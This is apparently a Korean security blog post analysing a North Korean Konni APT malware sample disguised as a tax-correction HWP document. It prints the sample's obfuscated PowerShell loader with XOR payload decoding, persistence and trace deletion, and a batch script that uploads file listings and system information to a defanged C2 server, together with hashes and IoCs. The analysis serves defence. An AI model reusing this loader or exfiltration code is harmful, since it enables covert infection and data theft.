꿈을꾸는 파랑새

오늘은 북한 해킹 단체  Konni APT(Advanced Persistant Threat) 에서 만든 악성코드인 오류발견 수정신고 제출 요청 안내(국세징수법 시행규칙).hwp.lnk(2025.1.7)에 대해 글을 적어 보겠습니다. 북한 정찰총국 산하의 해킹 단체이며 한국과 미국 정부 기관 및 조직을 타겟으로 하고 있습니다.
외교 및 군사 기관도 대상으로 하고 있으며 아마도 국세징수법 시행 규칙 양식을 사용하는 것 보니까? 한국 국민을 대상으로 하지 않았을까 조심스럽게 생각을 합니다.
해쉬
파일명: 오류발견 수정신고 제출 요청 안내(국세징수법 시행규칙).hwp.lnk
사이즈:372,872,757 Bytes
MD5:c8556d5dd6383b600a459a531beb05ff
SHA-1:3024b5438f5d63cdedb1c473cba07b1825b60a1f
SHA-256:4cd7e92ac6a3d068683d41beabd82d82267d97aa89603c708c0dd4af637d6d67

악성코드 에 포함된 Powershell 코드
악성코드 에 포함된 Powershell 코드

악성코드 포함된 코드

StringData
{
namestring: hwp File
relativepath: not present
workingdir: not present
commandlinearguments:
/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\WindowsPowershell\*(.e)xe ^
| findstr /i rshell.exe') do (if exist "%f" (%f "function predicate{param($beggar); <#
boiled narrowly#>$appetite = $beggar.substring(0,$be(g)gar.length-4) + ''; <#winter fa
iling#>return $appetite;};function perplexity{param($surprise);<(#)sonorous aggregate
#> remove-item <#intermediate dilute#> -path $surprise <#axis brain#> -force;};function 
master{param($containing,$self,$eth(e)real,$bosom,$dependence);<#narrative collective#
> $shuffle=New-Object System.IO(.)FileStream(<#bruise chapel#>$containing,<#shoal ejec
t#>[System.IO.FileMode]::Open,<#vein vocation#>[S(y)stem.IO.FileAccess]::Read);<#rehea
rse rail#> $shuffle.Seek(<#damp density#>$self,[System.IO.SeekOrigin]::Begin);<#silver
y pump#> $tumultuous=$et(h)ereal*0x01;<#brilliant bowl#> $press=New-Object byte[] <#ac
curacy offset#>$ethereal; <#geology scrape#> $block=New-Object byte[] <#parcel swift#>
$t(u)multuous; <#elaborate remembrance#>$(s)huffle.Read(<#contracted restless#>$block,
0,<#conformity flush#>$tumultuous); $shuffle.Close();$dif(f)erential=0;whil(e)($differ
ential -lt $(e)thereal){<#master foresight#>$press[$differential]=$block[$differential
*0x01] -bxor $bosom;$differential++;}<#heroic ant(e)lope#> set-content $depend(e)nce <
#pension cloak#> $p(r)ess -Encodi(n)g <#spring compos(i)ng#> Byte;};function p(r)ovoke
{param($hand, $r(e)m(e)dy);<#plumb horn(#)> expand $hand <#knock proto(p)lasm#> -F:* $
reme(d)y;};functio(n) taking{$hu(nting = $env:public<#insensible boring#> + '\' +<#und
ivided tough#> 'do'+'cum'+'en'+'ts';<#half augment#> return $hunting;};function engros
s{param($modesty); <#liberate evergreen#>$(f)ortune = Split-Path $modesty;<#brown dire
ctor#> return $fortune;};function tilt{return Get-Location;};function birth{<#bitumen 
wine#>retur(n) $env:Temp;};function deprived{$viscous = tilt; $exempt = daily -paragra
ph $viscous; <#castle grace#>if($exempt.length -eq 0) {$viscous = b(i)rth; <#leaf prot
ection#>$exempt = daily -paragraph $viscous;} return $exempt;};function meridian{$burs
t = $env:public<#fineness channel#> + '\' (+) 'el'+'sew'+'her'+'e(.)ca'+'b';<#feeding 
possess#> r(e)turn $burst;};function straw{$child = $env:public<#swift convenient#>+'\
do'+'cume'+'nts'(+)'\s'+'ta'+'rt.'+'vbs';<#whole situated#> return $child;};function d
aily{param($paragraph); <#cognizance monkey#>$knit= Get-ChildItem -(P)ath <#challenge 
armor#> $paragraph -Recurse  <#puppet inclosure#>*.lnk | <#club reversed#>where-object
{$_.length -eq <#discredit sand#>0x163996(3)5} | <#rem(a)rk artery#>Select-Object -Exp
andProperty <#masonry manifold#>FullName; return <#associated resolution#> $knit;};$st
eamer = deprived;<#oppre(s)sive improve#>$granite = engross -modesty $steamer;<#stir a
ssurance#> $police = predicate -beggar $st(e)amer;master -cont(a)ining <#pavilio(n) ha
rangue#> $steam(e)r -self <#indies selection#> 0x0000(2)346 -ethereal 0x00006C00 -boso
m <#beginning dissection#> 0x2B -dependence <#made greatly#> $police;<#impulse missile
#> & $police;$inherent=mer(i)dian;<#exert blast#>master -containing <#exalt fall#> $st
eamer -self <#stab seek#> 0x000(0)8F46 -ethereal <#possession solid#> 0x00013CBB -boso
(m) <#devil ref(r)ain#> 0x72 -dep(e)ndence <#memory decrease#> $inherent;<#manufacture
chan(c)ery#>perplexity -surprise $steamer;$reform = taking;<#ornamental coin#>provoke 
-hand $(i)nherent -remedy <#intelligence fortify#>$reform;<#visio(n)ary witness#>perpl
exity -surprise $inherent;$society = <#alienate litter#>straw;<#card stif(l)e#>& $society;") )
iconlocation: (.)hwp
}

코드 분석

1. 파일 탐색 및 실행:
dir /s /b %systemroot%\System32\WindowsPowershell\*.exe 명령을 사용하여 rshell.exe 파일을 찾아 실행
파일 존재 확인 후 실행해서 원격 제어
2. 파일 조작 및 암호화: 
master 함수는 특정 위치($steamer)에서 파일을 읽고 바이트 단위 XOR 연산(0x2B 및 0x72 키 사용)으로 내용을 해독후 실행 가능 파일로 변환
파일이 해독되고 실행(& $police)됨
3. 임시 경로 사용 및 지속성 확보:
taking` 함수는 공용 폴더(C:\Users\Public\Documents)를 활용하여 탐지 회피
straw 함수를 통해 .vbs 파일을 해당 폴더에 생성하고 실행하여 윈도우 실행 시 실행을 해서 악성코드가 계속 실행하려는 의도
4. 파일 삭제: perplexity 함수는 작업 완료 후 흔적 제거(Remove-Item -Path $surprise -Force) 실행 후 원본 페이로드를 삭제하여 분석 회피
5. LNK 악용: daily 함수는 특정 크기(0x16399635)의. lnk 파일을 검색하여 실행 사용자가 LNK 파일을 클릭하면 악성 코드가 자동 실행되도록 함
주요 함수 및 역할:
predicate: 문자열 변환 및 처리 난독화 우회
perplexity: 파일 삭제 수행 증거 은닉, 흔적 삭제
master:파일 복호화 및 실행 파일 복호화 및 실행 
provoke:압축 파일 추출 악성 페이로드 배포
taking: 공용 폴더 경로 반환 탐지 회피 및 컴퓨터 사용자 정부 노출
engross: 특정 경로 추출 탐지 회피 및 은닉 화
deprived: LNK 파일 여부 체크 지속성 확보 및 감염 확산
meridian: 추가 악성 코드 경로 지정 후속 페이로드 저장
straw:VBS 스크립트 실행 자동 실행 기능

악성코드 생성한 VBS 파일 들
악성코드 생성한 VBS 파일 들

IoC(Indicators of Compromise)

파일 경로:
%systemroot%\System32\WindowsPowershell\*.exe
C:\Users\Public\Documents\start.vbs
C:\Users\Public\elsewhere.cab
실행 파일 및 압축 파일명: 
rshell.exe (원격 제어 도구 가능성)  
elsewhere.cab (압축된 추가 페이로드)  
악성 동작 패턴:
XOR 암호화(0x2B,0x72 키)  
Remove-Item -Force 사용 흔적 삭제  
.lnk 파일 기반의 자동 실행

악성코드 오류발견 수정신고 제출 요청 안내(국세징수법 시행규칙)
악성코드 오류발견 수정신고 제출 요청 안내(국세징수법 시행규칙)

70135704.bat 내용

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt

systeminfo > %~dp0d4.txt

timeout -t 5 /nobreak
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d1.txt"  "%COMPUTERNAME%_down.txt" >nul
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

VBS 코드 분석

1. 악성코드 목적: 컴퓨터 사용자 시스템에서 파일 및 시스템 정보를 무단으로 수집 및 유출 목적 
개인 정보(다운로드,문서,바탕화면) 및 시스템 정보를 C2 서버(subscheme(.)info)로 전송
2. 현재 작업 디렉터리 설정: 현재 실행된 배치 파일의 디렉토리로 작업 위치 이동
3. 파일 목록 수집 및 저장:
dir /s 명령을 사용하여 다운로드, 문서, 바탕화면 폴더의 모든 하위 파일 및 디렉터리 목록을 수집 
수집된 결과를 실행 디렉터리에 d1.txt, d2.txt, d3.txt 파일로 저장
4. 시스템 정보 수집 및 저장: system info 명령을 통해 시스템의 OS 정보, 패치, 네트워크 세부 정보 수집
결과를 d4.txt로 저장하여 공격자가 환경 분석에 좋은 말로 활용 나쁜 말로 악용
5. 지연 처리: 5초 대기하여 탐지를 지연시키고 시스템 부하를 방지 일반적인 작업처럼 보이도록 위장하는 것이 특징
6. 정보 탈취 및 외부 전송:
28807392.bat 스크립트를 호출하여 HTTP POST 요청을 통해 공격자의 서버로 데이터를 업로드
파일명에 %COMPUTERNAME% 변수를 추가하여 개별 PC 식별 가능
>nul을 통해 명령 출력 숨김
7. 주요 악성 행위 
정보 수집: 주요 폴더(다운로드, 문서, 바탕화면)에서 파일 목록 수집
시스템 정보 탈취: OS 버전, 네트워크 정보 수집
외부 전송: 수집한 데이터를 공격자 서버로 업로드
탐지 우회: 출력 숨김(>nul),실행 지연(timeout) 
8. 정찰 및 정보 수집: 시스템 환경(OS 버전, 패치 상태, 사용자 이름 등) 파악  
유출 가능한 민감 정보(문서, 다운로드 파일) 탐색  
지속성 확보: 2차 악성 페이로드 전달(28807392.bat의 내용 분석 필요<-저는 귀찮아서 자세하게 분석 안 함)  
감염 시스템의 정보를 공격자 서버에서 분석 후, 추가 공격 준비

28807392.bat 악성코드 내용
28807392.bat 악성코드 내용

28807392.bat 악성코드 내용과 동작 방식

파일 암호화 및 인코딩:RC4 알고리즘을 사용하여 파일 암호화
시스템 정보 수집: 타임스탬프(Ticks)를 암호화 키로 사용
HTTP POST 전송:암호화된 파일을 원격 서버로 업로드
파일 삭제:업로드 후 원본 파일 삭제
완료 로그 생성
upok.txt 파일을 생성하여 완료 표시: 성공적 공격 여부 확인
주요 기능 요약:
PowerShell 명령을 사용하여 특정 파일을 Base64 인코딩 및 암호화
HTTP POST 요청을 통해 원격 서버로 데이터 전송
파일 유출 후 삭제를 통해 증거 인멸 및 탐지 회피
결론: 우리 북한??? 은 역시나 대북 관계자 및 군사기밀, 한국국민을 대상으로 악성코드 유포를 통한 개인정보 수집을 한다. 그러니 항상 조심하자 입니다.
C2)
hxx://subscheme(.)info/list.php?638717886947(7)85015=HEr(m)bUWADGaRkmxbj3oD/yRkmN3R
hxxp://subscheme(.)info/list.php?63871788694(0)284577=MZdH60(g)kqSrlx3ijeQ7xnNORNtV
hxxp://subscheme(.)info/upload(.)php 

공유하기

facebook twitter kakaoTalk kakaostory naver band